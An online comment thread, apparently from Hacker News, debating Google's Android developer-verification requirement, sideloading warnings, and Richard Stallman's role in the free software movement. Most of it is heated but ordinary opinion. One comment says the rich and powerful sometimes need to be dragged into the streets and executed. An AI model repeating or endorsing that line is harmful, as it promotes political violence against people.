You've resorted to ad-hominem by insinuating that my viewpoint as a conspiracy theory and haven't even attempted to address my point that there are whole categories of apps that don't need network connections. You also are trying to claim that I haven't addressed points you made, while ignoring my argument that rebutted those claims. I'm sorry, but since you want to engage in this way,why are you so addicted to the taste of Google boot leather? Why are you trying to say that Google doesn't want to protect its ad network? Android apps using Google adsense to serve ads to users clearly benefits them, I don't even see why this is controversial.
Google relies on ad money is a conspiracy? ... isn't that just... their business model? Like actually?
I mean, would you chop off your own foot? No? Then we should all be in agreeance. Google is definitely forcing network permission for every app to maximize their ad revenue.
The future for security conscious will be something like grapheneOS for phones, but a step further where the device can only securely connect to your home computer and access regular software there. If you must, run segregated, whitelist only networking, virtual machine apps
"we all know... Play Store... full of malicious garbage" - please point out how that statement is true, given we all know this apparently.
Yes, there are apps out there that try to trick the system and when you use them, instead of looking innocent, it's actually a casino app or something. But Google usually finds those. Are there any apps impersonating a bank? Because that is what regular people care about & think of when someone says "malicious".
They don't care if an app tracks what other apps are installed, what the user taps on, etc. Arguably they should care, but they don't lose money from it.
There's a reason Google is targeting a few specific countries with this first. Malware from APKs downloaded from the internet is more prominent in some countries than in others. The governments themselves are asking for this because educating the public has turned out to be an impossible task for them.
Still an awful solution that will get bypassed easily, of course. But there's more to this than "Google decided to be a bunch of dicks today".
The malware makers will use fake or stolen IDs.
I'm not saying this is a good idea, am I?
A lot of people are pretending there is no malware problem and that Google should just do nothing and move on. That's not helpful.
This bullshit needs to be aborted as soon as possible, but a solution for mobile malware is desperately needed. The crutch used on desktop, invasive antivirus, doesn't work on Android unless it comes from the OS manufacturer, so we need a new solution.
The funny thing is Stallman started his fight like half a century ago and on regular days Hacker News shits on him eating something off of his foot and not being polished and diplomatic, and loves practical aspects of Corporate Open Source and gratis goodies and doesn't particularly care about Free Software.
On this day suddenly folks come out of the woodwork advocating for half baked measures to achieve what Stallman portrayed but they still hardly recognize this was EXACTLY his concern when he started the Free Software movement.
Stallman actively hurts the cause with his behaviour. I'm not only talking about his eccentricities, but also the adversarial and combative language. Yes, Amazon is trying to swindle us, but few people will be convinced of that when you start your argument by calling the kindle an "Amazon swindle" every time, directly implying that anyone who has one is an idiot or even malicious.
Yes, it's unfair that someone can be 100% correct but people won't listen to them because of their appearance or mannerisms. But whining about that unfairness is unproductive. People will never listen to someone who can't stop themselves from eating stuff from their foot in public.
I used to 100% feel the same, but at some point I realized the problem was me, not him, in not viscerally understanding his goals. His stated goals are very clear, but the audience usually has somewhat overlapping, but nevertheless distinct goals. This is indeed at the very core of Open Source-Free Software feud. The base is almost entirely the same people, yet the ideologies are not the same, and in a very interesting way: the differences are critical to RMS's ideology, but minute to the other side. Thus, the other side thinks of a crazy guy ruining the whole thing for nothing or very little, and evaluates him as net negative for "the cause." Well, it is absolutely true, for their cause, not his.
I think his take on what compromises are valid and what aren't makes this clear: https://www.gnu.org/philosophy/compromise.en.html
In fact, this particular incident, re Android, a seemingly "open" system, is a perfect example of the importance of his PoV in particular, as it illustrates that Open Source ideology would not have been enough to ensure the user is in control.
The problem is: you never get to have your goals or arguments listened to when you fail to represent yourself as a basic human. That means not putting weird stuff in your mouth on camera, not looking too unkempt, not being too belligerent before you get to your points – and never, never, never discussing the fine differences between ephebophilia and pedophilia on a mailing list.
His point of view and his goals are completely besides the point that he is unfit as a spokesperson for them.
Sadly. Because I agree with him quite a lot, and he does have good arguments.
No, that isn't the problem. The problem is that you are comparing a human in one corner (mortal, fallible, made of meat, imperfect, objectively poor) with a very large conglomerate of corporations on the other side (immortal, disembodied, transnational, legal staff on retainer, very, very wealthy, made of paper, hard to criticize in the same way that you could criticize a person). No corporation is even going to put weird stuff in their mouth on camera or look unkempt. They'll make their arguments, reasonably, legally watertight and accompanied with bags of money through their lobbyists.
Yes, he's a human. But what you are failing to mention is that those corporations are made up of humans. And don't just imagine the C-suite when I say that. I'm talking about the developers and other highly-technical positions who may care very little about what's good for the corporation they work for over the long term. Those people also have instincts around and standards for what they consider decent behavior. Many of them (just like most people from most walks of life) will just stop listening if the person making the argument seems actively antagonistic upfront even if they would agree with the main argument that person is making.
Diplomacy does matter whether you like it or not. Especially before the person or people you're trying to persuade have heard your argument.
No, the problem is that you’re thinking of this like Spock - purely logical. Humans aren’t logical. We absolutely trust/distrust each another based on appearances and mannerisms. This is not limited to RMS.
People are prejudiced, plain and simple.
Those are only issues because you decided to make them the topic. It's all a distraction. Just focus on his message, which far more important than anything you're talking about.
> you fail to represent yourself as a basic human
You sound exactly like the people who condemned Socrates to death 24 centuries ago.
No, they sound like Socrates' friends begging him to properly argue for himself in court, in order to not be condemned and killed.
I don't think Stallman is abrasive out of a sense of respect and duty to the system of public debate.
Squints, head moves back then slowly swivels to look at news channel with POTUS speaking....
One issue is your automated dehumanization of someone who doesn't match cultural norms as not being "basic human".
You continuing with culture that fundamentally dismisses/devalues humans is the main issue here. Culture change starts from within. He works as a spokesperson for me becahse I'm much more inclined to someone showing basic humanity, like eating off a foot, than someone showing basic inhumanity, like catering to preferences born inside a country (like the US) that was founded on genocide & enslavement.
I don't think Stallman is an effective spokesperson or campaigner for his own cause, though. Corporate-friendly open source has got enormously popular, to the point where the biggest open source collaboration platform, Github, is owned by Microsoft. Stallman is not troubling them. It's his own side he's driving to irrelevance.
>Github, is owned by Microsoft
There was a time getting bought up by a large company seems like a great success and exit strategy. Now days the only things that I want spend my time making are things that are useful for people around me, not things that are useful for industrial military and surveillance state.
isn't android corporate friendly open source?
Definitely, yes. That's a prime example of how corporate friendly open source has been massively successful. By contrast, the first entry on the FSF's high priority projects page is a free phone operating system. They point to Replicant, an Android fork that... does not look particularly active.
No, sorry. By and large, when people criticize RMS for his behavior, they aren't saying "RMS being deeply associated with Open Source makes it harder for me to convince my boss to get the company to switch to X FOSS software or donate to Y project". The Open Source side of things is way bigger than RMS now. He's inconsequential to their world.
No, just about everyone critiquing RMS's behavior is saying that it negatively affects his own movement. That it makes it more difficult to advocate for Free Software, that it diminishes the FSF.
> Well, it is absolutely true, for their cause, not his.
You have it backwards. Open Source is so much bigger than Free Software, that it's not even funny. The Open Source people are not scared of RMS affecting a movement widely accepted in almost every major tech company.
One can be correct but convince no one, a modern day Cassandra.
I would argue he's had unimaginable success in the context the movement started. Even Microsoft is fully on-board with that. It's just that the industry has grown beyond the original stakeholders to billions of people and the problem is now so much bigger and the goalposts have changed.
It's inconvenient to have to recognise that we are being f**ed in the ass by corporations like Amazon, but that doesn't make it any the less true unfortunately.
It's also a damn shame that the majority of the people who are skilled at communicating messages effectively are working for these corporations; because without them, the unfiltered message of people like Stallman is all we've got.
It is a damn shame, and it is also a choice. If that majority chooses to work for the corporations, perhaps humanity just does not deserve better. There isn't anyone else but us humans who can fix this thing. If we choose not to, it won't be fixed period.
I was always somewhat put off by his extreme vigilance over the word free. Stallmans usage of free software is exactly the same as the rest of the worlds open source. We also have “source available” for software that is license encumbered but distributes the source.
So much time and effort wasted on a fruitless effort to redefine words that already have well established meanings.
Stallman has mentioned this before that it is a limit of the English language. Thus the use of Libre.
Problem is that many people today do still mistake Free software as no cost and for good reason. Funnily enough, "open sourcesource" turns out to have great SEO. Free software doesn't.
There are so many ways one could work around this (apparent) limitation. Liberty software, unbound software, modifiable software. Go all in on libre rather than putting it in an awkward 'free/libre' combo - languages borrow words from each other all the time. Swap the order round and talk about software freedom, or digital freedom. Make a portmanteau like libreware...
I'm not especially good at this, and obviously 'free software' has the benefit of a few decades history among the people who actually know it. But almost anything seems better than a phrase which has a very obvious meaning that's not the one you meant, and the consequent need for fussy little explanations. Especially when most Free Software is also free software.
Alas this is something many have been debating for decades at this point. Unfortunately, there isn't a really clear answer. Both sides have good and bad points.
Android is open source. It is not free software. The issue we're discussing right now should make the difference very clear.
Android that ships on the Google pixel is neither open source nor free software. It’s a proprietary OS based on AOSP.
The AOSP version of Android is both open source and free software. Open source and free software are both exactly the same thing.
Stallman is a "prophet": he needs to be extreme and rigid in his ideology so that the world shifts to a more moderate middle ground. For GNU to actually change the world, they need to be a pole of extreme that is opposite to our status quo of capitalist consumption. You are not supposed to emulate him.
You see this phenomenon in every movement for societal change. The more dogmatic they are, the larger their effect on public opinion.
The fact that the modern programming world defaults to releasing their code using corporate-friendly OSS licences like MIT is thanks to Stallman's and GNU's campaigns.
You're exactly right. And what you're saying is sort of shifting my perspective on non-violent extremist movements that I usually find insufferable. You may not be able to stand them but you do need them.
That is entirely wrong and is a widespread misconception. The difference between free software and open source software is at the core of this 'android verified developer controversy' we are discussing here in a humongous thread. Stallman was warning us about exactly this sort of unethical arm twisting when he was policing the meaning of the word free software. (Somebody taught me this when I held this same misconception. But I was expecting moves like this ever since I understood the distinction.)
As you may be aware, the open source initiative started much after free software movement by people who disagreed with Stallman and the free software philosophy. The core idea of OSI is that by keeping the source code open, more people from a wider background can work on it to improve its quality in terms of features, design, correctness, bug reporting and fixing, security, documentation, etc. The idea is to make software more of a shared resource, thus achieving what is difficult for a single company to achieve. With that in mind, OSI borrows one more requirement from the FSF - there can't be any limitation on the user as to how they use it.
Now coming to the Free Software philosophy as defined by FSF, opening the source is just a secondary concern - a means to an end. That end, the primary concern, being computing freedom. What it means is that any computing device must do only and exactly what its owner wishes it to do. This means that the device owner must be able to verify the functionality of the software and modify it to suit them, if necessary (with 3rd party help, if needed). This is possible only if the device owner also has the source code of the software. But that's where the requirement for open source code ends for free software. If the author of the software and the device owner wishes, they can keep the source all to themselves. There are plenty of cases where this actually makes sense. Anyway, the people who possess the software are also allowed to distribute the software as they see fit.
As you can see, the computing freedom part is the centerpiece of the free software philosophy. But it isn't a concern at all for open source. I will explain why later. In practice, most licenses that satisfy one philosophy automatically meets the requirements of the other. Thus free software license list and open source license list overlap for the most part (with a few exceptions). But the philosophical differences extend well beyond the licenses and deep into the software design itself. If the device owner/software user is supposed to have any freedom, the software must be small, easy to read and understand, easily hackable and modifiable, well documented, highly modular with very good glue layer and highly configurable. This concept pervades the GNU software design. Emacs is the best example of this. Others include GNU Shepherd, Guile, Guix, Poke, GDB and a lot of others.
Now coming to open source, we have this notion that if the source code is open, it is pro-user and pro-freedom. This is true for most FOSS code, because their authors have more or less the same idea. But it's entirely possible to create an open source project that actively denies or even degrades the control of the device owner over their device, and thus their freedom. Take these examples - Android, Chrome browser (and its derivatives), SystemD and VSCode. How many of these projects listen to the public about their design choices? Which among them can you realistically fork and maintain as an individual or even as a company? (Not even MNCs try that with Chrome). How deeply and freely configurable are any of them? Are you able to remove or disable their user-hostile features? Are you able to use their submodules? Have your ever seen their code while troubleshooting or debugging? Have you been able to stop them from corrupting open standards and ecosystems? These are the open source non-free software .
Now, how did open source become popular in place of free software? Its proponents would have you believe that FSF is heavy on 'ideology'. Except, those ideologies were actually very stark warnings about the future. Open source became popular because the corporations used their enormous wealth to downplay, malign and suppress the idea of computing freedom. This is just like how they made permissive licenses popular over copyleft licenses. Both were driven by greed. If the suppression of copyleft licenses was about obtaining unpaid labor, suppression of computing freedom was about usurping the device owners' control over their own devices.
Now that we have problems like Google mandating developer verification on Android, or unilaterally deprecating XSLT from the web standards, know that they are all the result of everyone contemptuously dismissing Stallman as an attention seeking lone rebel when he was trying to draw attention to the oppression that he clearly foresaw. Heck! Even I could see this from a mile away! But this world is driven by hype and ill advised blind faith.
Your explanation of the differences is excellent and eye-opening. It should be posted on the FSF/GNU website.
I imagine a future where users will be able to tell a local AI to modify their software or make the comptuer do what they want. At first it seems like the final conclusion of extending device freedom to all users, but I suppose even LLMs would count as non-free software since they're basically blobs of unintelligible parameters...
Anyway, thanks for writing this.
If they were really the same, you should flip the question around. You do realize the Open Source folks invented that phrase explicitly to avoid using (and dare I say to undermine) the term Free Software?
Same way Vegan was forked to Plant based diet, to strip out the ethics question.
> Vegan was forked to Plant based diet
That's news to me! But no. Open source philosophy isn't free software stripped of its ethics question. I have written an essay/article/novel/epic here: https://news.ycombinator.com/item?id=45027202
> Stallmans usage of free software is exactly the same as the rest of the worlds open source.
Not at all, that's why there are separate terms! GNU has an article that's worth reading: https://www.gnu.org/philosophy/open-source-misses-the-point....
I'll point out a very practical case. I was once-upon-a-time interested in Nostr, because I liked the relay idea. I looked for a client, and found one called Amethyst. When I installed it, I saw the author had inserted a pop-up on load that had me agreeing to his "Terms and Conditions" for using "the service". But the author had no service...he was worried about his liability if I posted something. Stallman saw this coming! From the article above:
> Third, the criteria for open source are concerned solely with the use of the source code. Indeed, almost all the items in the Open Source Definition are formulated as conditions on the software's source license rather than on what users are free to do. However, people often describe an executable as “open source,” because its source code is available that way. That causes confusion in paradoxical situations where the source code is open source (and free) but the executable itself is nonfree.
> The trivial case of this paradox is when a program's source code carries a weak free license, one without copyleft, but its executables carry additional nonfree conditions. Supposing the executables correspond exactly to the released sources—which may or may not be so—users can compile the source code to make and distribute free executables. That's why this case is trivial; it is no grave problem.
And this is _exactly_ the argument the author of Amethyst makes, check out how he reasons through the additional restrictions: https://github.com/vitorpamplona/amethyst/issues/378
His reasoning is squarely in this weird zone the Stallman wrote about:
> I am confused. Why are we mixing the license with the terms of use? These two files are separate legal matters. The Privacy is used by the Play Store to manage the distribution of the executables. The MIT license relates to the source code only.
> In other words, the MIT license removes any author liability from the misuse of the code. But when the author is also providing the system as binaries (which is an additional service in every jurisdiction I know of), there are many other legal issues that the source code license won't cover.
> And I don't know about you, but I am not comfortable allowing people to use the Play Store version or the FDroid version for these activities written in the Privacy statement. Most of them are local crimes that should not happen anyway.
> This has nothing to do with the source code license, which people can still download, compile and use in nefarious ways.
Anyway, my point is, in practice, there's a million ways to water down "open source" to remove user freedoms, and the value of Free Software is that it keeps the focus in the right place to avoid falling victim to those tricks.
Yeah, let's be nice and polished. No blood, no foot eating, just nice people talking in nice settings (castles, maybe?) around a warm cup of tea.
That's how revolutions succeed, historically.
Or you go shouting in the beer house every Tuesday about how the failed state is giving away your riches to others and that these communists are ruining the country. You then have your goons go beat up the communists for fun and when you get enough people behind you, you abuse a loop hole in the constitution which causes re-voting over and over again until you win majority power.
No revolutions turn out good for everyone, and there is no solution that fits all. Sometimes the rich and powerful needs to be dragged into the streets and executed, so they are reminded to be scared of the people under them. If they don't fear the population, then they see that there are no consequences for their actions.
> Stallman actively hurts the cause with his behaviour.
People arguing this should realize that actors fighting oh the other side of the war might act kind and use politically correct wording, but they're still eroding our freedom little by little.
Arguments like this ("his behaviour") really mean that people care about policing other people's behaviour more than they care about the actual topic being discussed.
Downvote me if you want, I don't care:
- Stallman, singlehandedly, did more than anybody else for freedom in the computing industry.
- People pushing those arguments a huge part of the problem.
- People like Stallman are a huge part of the solution.
Expecting someone who built what he did to be normal is even more ridiculous.
If he were normal he’d probably have ended up working at MS, IBM, Oracle.
Of course if his behavior bothers you then fork it and rewrite his work and maintain it then you have a laundered version of the same thing but you probably don’t care that much about his behavior to do that so it’s pointless to bring up.
To put my thoughts into one sentence: You can't fight the system within the system.
Calling the kindle the "swindle" hurt open software?
Listen to yourself.
Frankly I find it refreshing in a world where everyone is obedient to the corporate overlords to have someone who just doesn't give a shit and calls it out exactly the way he sees it.
We don't need more polished people.
Well if they are too stupid and ignorant to consider the meaningful content of what someone says and get so fixated on how they are disgusting (although it is obvious that he is doing that to attract attention and make what he says memorable), perhaps it is fitting that they lose all their freedoms.
Why would someone use Kindle?
It's possible to believe both that Stallman is over the top and that stuff like this Google action is bad, and even to be right on both. It's even easier to believe that Stallman has had some good ideas but is still a deeply flawed human being, and has also incidentally not been the most effective advocate for his own ideals.
It is possible, sure, but I have a feeling it goes unrecognized how prophetic and precise his concerns were, and that this is very similar to his original issue with the closed-source printer software he was not allowed to fix, and he does not get credit for his predictions, as people simply pass by, and not connect it to the Free Software issue, when issues like this happen; meanwhile he takes all the downsides of being brash and anti-corporate, which is taken advantage of by the Corporate Open Source crowd.
But Android is open source. In a way the situation here shows the limits of what is possible just by imposing license requirements that require distribution of source code. The problem is the concentration of power in the provision of services. Even licenses like the AGPL don't really solve the problem here, which is that there is a coalition of businesses including, say, Google and banks, that via their provision of essential services hold worrisome sway over the practical ability of many individuals to live their lives.
Stallman's statements about how the person controlling nonfree software "is your master" are important, but they don't go far enough. The problem is not just the controlling of abstract intellectual property like intellectual property rights to particular software. The problem includes the actual control of how services are provided. When the provision of important services --- be they auth, email, banking, groceries, whatever --- is concentrated in a few hands, those hands become masters of many, regardless of the software licenses involved.
Yes, in a way FSF has succeeded beyond their wildest imagination and they are facing a new world with new challenges.
> The problem includes the actual control of how services are provided.
FSF has opinions about SaaS which they call SaaSS (Service as a Software Substitute).
https://www.gnu.org/philosophy/who-does-that-server-really-s...
Android is not open source. There is an android open source project, but it's not what you colloquially think of as Android. Its not the android you're running on your phone - in fact, I don't believe it can run on any phone currently produced on Earth. Its really more of a showcase, not a software.
Android is open source but not "free software" which is exactly on point. People have been fooled to think that open=respecting your freedoms, but there is no equivalency.
Basically my point is that it's not really about software. It's about access to things that are of practical use. Having a monopoly (or oligopoly) on hamburgers or hammers would be a similar problem. It's true that within the software realm, open source (or "free software" or whatever other term you want to use) increases access, but it doesn't in itself solve the problem.
The people writing the software need to eat and if they can't do that it doesn't matter what the license is, the software won't get written and no one will be able to use it. Moves like this thing by Google are about economics rather than licenses or abstract ideas like "freedom". A world with ten gazillion closed-source programs competing would likely be more free than one with tons of open source software but only one company that can pay a living wage so that people can work on that software.
> Even licenses like the AGPL don't really solve the problem here, which is that there is a coalition of businesses including, say, Google and banks, that via their provision of essential services hold worrisome sway over the practical ability of many individuals to live their lives
If Android was AGPL without source assignment, this wouldn't be an issue.
Thanks to the anti-tivoization clause manufacturers are required to provide you with the ability to run your own code on the device, without any restrictions, so you'd have a guaranteed right to root the device and sideload your own apps, without something like SafetyNet being able to figure it out.
It's easy to piss on the individual.
Ask yourself how come free software is everywhere, with licenses for various stuff neatly tucked away out of sight unless you're trying to find it, not to mention all the giant clusters of Linux machines in data centers running Samba, PostgreSQL, and all sorts of free software, and at the same time the FSF still has just a small appartment on the 5th floor of a building in Boston?
Here, take a look: https://www.fsf.org/about/contact/tour-2010
They don't work there any more.
https://www.fsf.org/about/contact/
>As of September 1, 2024, we have gone remote and no longer have an office for people to visit.
IIRC they moved somewhere else in the interim.
It has http links to images that don't display when mixing secure content with insecure is disabled.
Who is doing a better job?
Because I see A LOT of “open source” advocates these days, and more and more “source available”.
But the old school Free Software hippies(that started with BSD, NOT GNU, IMNHO) are slowly dying out and being replaced with?
I can understand why some devs would have tried to ignore the writing on the wall for Android over the last few years (hopefully not from now on), but it's especially galling when you see some of them still using the likes of Github and Discord...
It's interesting because I feel like I see more criticism against Android devs than against web devs. As if the web was "more free".
AOSP is as open source as Chromium is, and both are controlled by Google. To those who criticise Android devs... are you running Firefox?
Cory Doctorow.
He's not an open source advocate as such, but his work on consumer rights and enshittification promotes solutions like using open source software, right to repair and strong consumer protection regulations.
Having spoken to Stallman over the years many times. One of the most difficult people to talk to, but completely spot on with his ideas.
> completely spot on with his ideas.
Which ideas? I've read ideas from him that were borderline scandalous. I wouldn't say that 100% of what he ever said was "completely spot on".
Now if we are talking about the subset of his ideas that were completely spot on, then yeah, they are completely spot on :-).
I guess my point is that one can agree with a subset of his ideas and still dislike the guy. And I don't see why those ideas couldn't live without him. Especially if they are completely spot on. I don't get the cult of personality, not only for Stallman.
Just talking about his views on software and technology. When it comes to stuff outside that, I get his logic but damn he misses on a lot of things. Some very notable over the years. ;)
There are people who have been pretty steady in their convictions over decades. Not that we have much illusions about the end game. Stallman has issues, but they're minor compared to the issues that the likes of Google, Apple, Facebook, Amazon and Microsoft have. But they get to hide their nasty little habits behind the corporate veil of respectability.
It's a sad state of affairs when a guy born in 1953 and a 70+ years old is our reference for freedom.
What happened to GenX, Millenials and GenZ ? Why aren't there any more vocal activists doing something? The internet fuked us up. We're full of armchair experts "fighting" the cause laying in our coach.
Millennial here. I took up educating masses in my country about all this. I quickly realized that people just do not care.
Millenials here. We did. A lot of a lot. And nobody cared.
Even today on HN most use chrome instead of firefox and mac instead of linux and. If you can't even convince the biggest nerds that supporting alternatives is important, what chances do you have?
This nerd cares about security, and Chrome is significantly more secure than Firefox and Mac is significantly more secure than any Linux distro.
> Mac is significantly more secure than any Linux distro.
Citation needed.
99% of the time security is about securing the product from the user. Just like Google's action we're commenting under
If you actually cared about security, you would use Qubes OS. With the latter, security of Firefox is more than sufficient for everything.
I must be a shit nerd, I've never in my life thought about browser safety.
How the hell is chrome significantly more secure than firefox?
Plenty of Gen Z caring about freedom, but unfortunately lot of them being deported from the U.S. for defending Palestinians.
I mean - Western world is a bit tougher place for protesting than it used to be, due to capital accumulation. Free SW is admirable but a pretty first world problem, unfortunately, low on the list of priorities.
"lot of them being deported from the U.S. for defending Palestinians."
Can you cite me a source for this? Specifically to show that there are a "lot" of them being deported, and that the cause is definitely "for defending Palestinians" and nothing else?
https://www.independent.co.uk/news/world/americas/columbia-d...
A simple google search away.
Another good source: https://www.nytimes.com/2025/03/27/us/students-trump-ice-det...
Lack of free SW is unfortunately a universal problem for basic human rights now.
It is right to highlight the fight for libre software that Stallman championed.
The world would be a much, much worse place without Free Software. We own the obligation to keep the fight up. So many of us profit from it, and so many people depend on it.
This friend of mine dealt with S. - and found a completely irrational part. We tried to steer history for the best, S. let it flow (in that occasion, of course. He just would not listen).
> not being polished and diplomatic
That is severe understatement. Plenty of people and political activists are not polished and not diplomatic ... while still not reaching Stallmans levels. Majority of them, actually.
> eating something off of his foot
Yeah, that episode is unforgettable.
He can be mostly right but also terrible for his own cause at the same time. Anyone that doesn't see that must not know even the tiniest fraction of the stories, or like him also has a cognitive disability.
fact: it is possible to be a good and clean person at the same time
one can both see far into the future and fit one's foot into one's own mouth. it is possible to do two things.
No, I hate this change from Google, and everyone involved with it should be ashamed of themselves, but Stallman is an extremest and I don't believe his world would be better than this one.
There's genuine need for application developers to gain access to extremely secure end-to-end attestation of the environment their apps are running in. Its a rare need, but it does exist. There's also genuine need for some consumers to opt-in to a strict security regime.
Google's change forces this draconian, dishonorable regime on all application developers and on all users. Its a change that serves no one except their shareholders.
> but Stallman is an extremest
No, he isn't, https://news.ycombinator.com/item?id=45025116
I read your comment and assumed he ate some food that fell on his foot. And I thought that was gross. But omg it’s so much worse
is it really worse than losing your freedoms?
We really shouldn’t have the frontman of free software be someone who is a creep towards women and who can’t take care of himself.
If this is a thing then the solution they offer is incorrect. A big giant red screen: “warning the identity of this application developer has not been verified and this could be an application stealing your data, etc” would have worked.
What they want is to get rid of apps like YouTube Vanced that are making them lose money (and other Play Store apps)
It felt weird that the official press release was quoting entities from these countries, as if it should give confidence to the rest of the world. I can't imagine what these countries would want with apps that can be traced back to a government id...
Vanced and such is more of a First World/Western issue. I don't think you're wrong but I got a strong gut feeling there's other pressures in the works. Just something doesn't smell right...
Hm, not sure about that. I know from browser add-ons that markets like Brazil do suffer from increased scams, especially banking scams. I could see that this is also an issue for scam apps.
Firefox for instance does not allow you to install unsigned extensions. You don't need to list them on their storefront, but they want to perform automated tests and have the ability to block extensions through this signing requirement.
So in principle I can see them wanting to address a legitimate issue, but the way they are going about this is way to centralized. IMO they should do something like we have for web certificates, where vendors can add more root authorities than just the one from Google, and users should be able to add their own root certificates if they want to side load apps.
[0] https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Web...
It is true, and what you quoted does not contradict this.
https://extensionworkshop.com/documentation/publish/signing-...
You can temporarily install extensions in about:debugging, but everything permanent needs to be signed.
> Add-ons need to be signed before they can be installed into release and beta versions of Firefox. This signing process takes place through addons.mozilla.org (AMO), whether you choose to distribute your add-on through AMO or to do it yourself.
What you are saying now is different than what you said before. This exact distinction is identical to the conversation of Google too.
I mean test it out. Write that short example extension in Firefox. Doesn't matter if you need to open up about:debugging (just as you need to do extra things on your android). It'll stay.
The signing is for distribution.
Vance is just as big if not bigger problem there.
Sorry, I replied to a sibling comment that was nearly identical[0]. Luck(?) would have it, said other problem was made more explicit[1]
[0] https://news.ycombinator.com/item?id=45033035
[1] https://news.ycombinator.com/item?id=45035699
>Vanced and such is more of a First World/Western issue
What? I'm from Brazil and Vanced is as big, if not bigger here. In fact, most of my 'first world' friends just pay for YouTube Premium (or whatever it is called), and these kinds of workarounds are mostly used in countries with less purchasing power.
I'm talking about a different kind of problem. Ask the next question (and maybe a few more) about why this is the situation.
In addition to the other perspectives already offered here, warning screens such as the one you propose were already shown for sideloaded apps, and these screens worked against Google in their lawsuit with Epic Games. So that's another contributing factor for the policy we're discussing.
It won't work because of too many false positives. People are already trained to ignore warnings, like how they blindly accept T&C without reading.
If a giant red warning saying 'THIS APP MAY BE MALWARE' doesn't stop someone, then they've either made an informed choice to proceed or it's willful negligence. In other words, users aren't 'trained' to ignore warnings; they're simply being willfully negligent.
It’s because on the other side of that warning is a cracked version of Spotify that removes the adverts.
The user can’t make an informed choice because it’s literally impossible to audit the safety of the app or the author. So they will click passed any warnings, follow any number of steps to install the app that gives them something desirable for free.
So what?
Those same users can now install facebook, and facebook does this: https://medium.com/@ak123aryan/facebooks-hidden-android-trac...
And facebook is and will be verified in the future too.
As someone who is usually careful I too have found myself clicking past warnings and error notifications in recent times, mainly because I want to do something and the software is actively preventing me from doing that. It isn't negligence, it is just wanting to get something done and not having the time or the nerves to carefully read through and think about messages, dialogs, and screens.
Back in the early days of the Internet there was the Joel Spolsky article on why users will always do anything to see the dancing bunnies.
It doesn’t matter what adjectives you apply to them - they do it and they’ll do it again. Most people are not equipped to evaluate the veracity of that statement, and if a few good apps don’t register with Google (that these will exist is the whole reason this move is problematic at all, right?) and ask you to click through on the website or whatever, they’ll get used to touching the stove and not getting burned.
c.f. the Windows “it could be malware” blurb. You basically can’t use any software from a small publisher without clicking through it, even if they pay for the code signing certificate.
But then you get situations like, "THIS PRODUCT MAY CAUSE CANCER," being cautioned everywhere, with no distinction between, "this is certainly harmful," and "we just haven't verified it isn't harmful".
Have you met a human before? Most will simply click past anything that’s impeding their immediate goal.
The fact that you don't even realise why that wouldn't work is kind of telling.
> users aren't being 'trained' to ignore warnings
Of course they are. Every time they click "continue anyway" and it actually isn't malware (which is 99% of the time) they are being trained that the warning is nonsense.
And they're right! What use is a warning that an app might be malware, if a) it actually isn't almost every time you see the warning, and b) you have no way of telling if it is or isn't anyway?
I hate this move too and I don't think they should have done "just make the warning even bigger!" is obviously dumb.
There aren't too many false positives, it's just that most modern android software is malware.
Saying "this will steal your data" is probably correct.
So what were actually asking users is to install some malware, if it's provided by a big enough tech company, but not other malware. Of course users get confused.
Just stop downloading apps altogether and run the web views in the original web view - the web browser.
Will Google, Meta et al. do that and abandon their apps? Of course not, they need to install malware.
The way we allow paternalistic tech companies to train the consumer to abdicate personal responsibility is going to bite us in the ass sooner or later. I'm betting on sooner.
Then make the false positives lower. The problem is they aren't incentivized to improve such features because, where's the money in that?
How about requiring the user to type into a text box "App Foo might be malware. I want to install it anyways."? And disable copy and paste for that box.
Maybe they shouldn't offer a "OK" button that the stupid user can blindly click. They could tell you, "this app is dangerous, go to system settings to enabled" and a "Dismiss" button.
I'll point to Windows Vista that went all in on this kind of security, even giving you a big warning if you tried to change your background. The computer magazines quickly published guides on how to change a slider or registry setting to reduce the amount of stupid warnings, and the people were quickly trained to ignore and just hit OK on these screens.
Anyway, Apple already does this with unknown apps downloaded from the internet, you need to go to security settings and hit a button there.
Lmao, that is literally how it worked.
This is something laughable that Apple does. Anytime you install something from Github it'll make you click a few extra boxes. And their tightening down of things also ends up making people look for third party software in the first place. All this really does is, like you said, teach people to ignore warnings.
That's just their first step. They will remove the extra boxes eventually. They already removed option-click as a workaround.
Is it possible to install stuff from GitHub on iOS? I thought it was completely impossible on apple devices.
I was referring to OSX but if you didn't know there's a current European lawsuit going on about doing exactly this for iOS
It is, but you have to reinstall it every week.
Unless: https://old.reddit.com/r/sideloaded/comments/1debdgh/guide_h...
> It is, but you have to reinstall it every week.
I'd greatly appreciate it if you can share the relevant link/repo for it?
https://altstore.io is the big one. You might want the AltStore fork SideStore (you can do the weekly reinstall without a computer, https://sidestore.io). Other tools exist, like https://sideloadly.io and https://appdb.to.
You use sideloadly to install any ipa you want. If you don't have a developer account it will sign the application using a key with the validity of seven whole days! (instead if you have a developer account it will be valid one year, and don't forget to pay the 99€/year ransom)
Great way to make users hate their own devices.
There was a workaround using an enterprise certificate, but I believe Apple stopped that for misuse of the enterprise program.
"Displaying an angry warning message" is one of the tools we've used for decades, and never with much success.
So what's wrong with that? You get warned, you ignore the warning and get hacked, that's on you for being dumb enough to download stuff from some shady website. Plus, Android is supposed to have decent isolation and permission controls, unlike desktop OSs like Windows or Linux (not counting Snap/Flatpak) where software can read your entire disk or any arbitrary file and send it via the internet.
Plus, you are not required to do that, you can just stick to Google Play and trust what Google approves there. But no need to lock down others because of your recklessness.
Exactly this. I want a big toggle that I can turn on in developer settings (perhaps make it more involved than that, but you get the gist) that says "I acknowledge that from here on in I am responsible for my data and I hereby absolve Google and other interested parties from responsibility should I blah blah blah..."
Why the hell can't I use my rooted device for payments? It's my goddamn money at risk.
My Pixel phone warns me before allowing free installs (I refuse to call it "sideloading") from any app for the first time. And others like Xiaomi show (or used to show) a more prominent warning you had to read with the consequences, waiting at least 10 seconds to enable the option.
Plus the whole "banks need to protect you by ensuring your device" is stupid when cards are protected only by a PIN, and the app also requires some form of biometry to unlock it, which is to encrypt the underlying tokens. Banks should protect your money on their end, with clients having their responsibility to keep safe their stuff, whether that's their card or phone. It's a stupid premise itself, and it's lazy engineering.
